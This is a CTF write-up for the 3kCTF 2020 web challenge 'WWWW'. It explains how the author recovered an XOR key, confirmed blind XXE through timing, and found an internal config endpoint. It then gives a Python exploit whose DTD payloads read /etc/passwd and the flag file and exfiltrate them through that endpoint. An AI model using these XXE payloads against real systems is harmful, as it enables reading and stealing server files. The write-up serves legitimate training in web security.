<-- home

3kCTF 2020 / WWWW

On July 24th we hosted the 3k international CTF, we tried to make it a good quality CTF as much as possible, we also tried not to make the challenge mostly guessable , thats why as challenge includes a recon technique ( brute-forcing dirs/files) ,we added note that the task is kind of bounty challenge :)

To begin , the first steps were not that hard to find the vulnerability which was XXE but was a bit hard to exploit :) I will discuss this in my write up.

The usual steps when checking out a web challenge or even when trying to find bugs in a website that we have never used is to check all possible functions at least on the main domain.

At the first check, we get an idea of what the website is!


Checking out each function and using burp to log all possible queries during that time, we found an interesting request that was triggered.


We tried to decode the base64 data that was sent by it was not only encoded thats why we got garbage data. we get back to the source code page to check where the api.php is used ,but we just found some obfuscated javascript code.


We tried to deobfuscate it, but that was the worst option, it will take some time so the best solution will be to use chrome devtools and debug the code directly and check what is going on in our data!

Simply putting a breakpoint right after extracting the value of email line.


Continuing to track the functions called just before the final base64 data, we found that it was just xoring the email that was injected into a hardcoded XML document , where the key : hSuuzuKdkvJeWgjW


As we understand what the app was doing in the background, we can write simple code or just edit the XML each time using devtools.

First, to confirm that there is an XML external entity vulnerability, we can xor and encode our own payload directly without going through the javascript used on the application.

To confirm that we have XXE here, we just tried a simple payload, but as api.php just returns {" result ":" ok "} if the xml parse pass and {"result": " error "} if not.

and also after trying to include external url to verify pingback, we found that there was no request even a simple DNS request. So how can we confirm that we have XXE ?!

Easy, just use external url and local url to check (same as time based SQL injection :D)


After encoding the url and sending these two payloads separately, we found that the payload that requests an external url takes a long time compared to the one that requests localhost which confirms that we have XXE in our case.

So as its bug bounty style based challenge, here we can ask our best friend dirsearch tool and he will tell us what to do :D


And yes :), we just got a cool output that includes results that we still haven’t verified!

Digging a little deeper into the result, we found an endpoint that can be used to dump information about hotel and restaurant locations, but the most interesting part was this.


There was another file, visiting it it will come out


By checking and trying multiple attempts we confirm two results, we can either dump our config settings or change them as needed, but we should use our sid in each request which looks like a sessionid value

For example, to update current values, we can just request http://wwwweb.3k.ctf.to/define.php?sid=mfI1xkAsOdZzHCoFTcJY8eNtiE5h4Ru0&key=test&value=test and then http://wwwweb.3k.ctf.to/define.php?sid=mfI1xkAsOdZzHCoFTcJY8eNtiE5h4Ru0 to confirm the update

Thinking about how to use this feature like a weapon, we can just make this endpoint which can be reached from localhost too as store file, so as we need in the normal exploit a External DTD but in this case there was no outgoing port open, using a php wrapper which should be supported in this case to return our DTD content as if it had been loaded from the outside.


import requests
import base64
import json
from pwn import *

s = requests.Session()
key_xor = "hSuuzuKdkvJeWgjW"

def getsid():
    response = s.get('http://wwwweb.3k.ctf.to/define.php')
    return response.json()['msg'][4:]

def getdata(sid):
    response = s.get('http://wwwweb.3k.ctf.to/define.php?sid='+sid)
    return response.text

def testchange(sid):
    response = s.get('http://wwwweb.3k.ctf.to/define.php?sid='+sid+'&key=test&value=test')
    return response.text

def sendpayload(sid,payload):
  url = "http://wwwweb.3k.ctf.to/api.php"
  header = {"Content-type": "application/x-www-form-urlencoded", "Accept": "*/*", "Origin": "http://wwwweb.3k.ctf.to", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-GB,en-US;q=0.9,en;q=0.8", "dnt": "1", "Connection": "close"}
  response = requests.post(url, headers=header, data=payload)

def create_pay(key,dtd):
  return {"xml": b64e(xor("<!DOCTYPE r [\r\n  <!ELEMENT r ANY >\r\n  <!ENTITY % sp SYSTEM \"php://filter//resource=data://text/plain;base64,"+base64.b64encode(dtd)+"\"> %sp; %param1;\r\n]>\r\n<subscribe><email>&exfil;</email></subscribe>",key))}

sid = getsid()

print "[*] SID : "+sid
print "[*] Default value : "+ getdata(sid)
print "[*] Make small changes to test : "+ testchange(sid)
print "[*] New value : \n"+ getdata(sid)

external_dtd_1 = '<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=file:///etc/passwd"><!ENTITY % param1 \'<!ENTITY exfil SYSTEM "http://localhost/define.php?sid='+sid+'&#38;key=xxe&#38;value=%data;">\'>'
external_dtd_2 = '<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=file:///flag"><!ENTITY % param1 \'<!ENTITY exfil SYSTEM "http://localhost/define.php?sid='+sid+'&#38;key=xxe&#38;value=%data;">\'>'

print "[*] Send payload 1 \n"
out = json.loads(getdata(sid))['value']
print "[*] Output file: \n"+ base64.b64decode(out)

print "[*] Send payload 2 \n"
out = json.loads(getdata(sid))['value']
print "[*] Output file: \n"+ base64.b64decode(out)

print "[*] Reset value to prevent leak"

and the flag was : 3k{cL457rBpVxsJnRXNR9vW6uR4hbKszeFs}

Thanks for reading, well done RedRocket and WreckTheLine who were the only two teams to solve the challenge during the CTF.

See you next time :)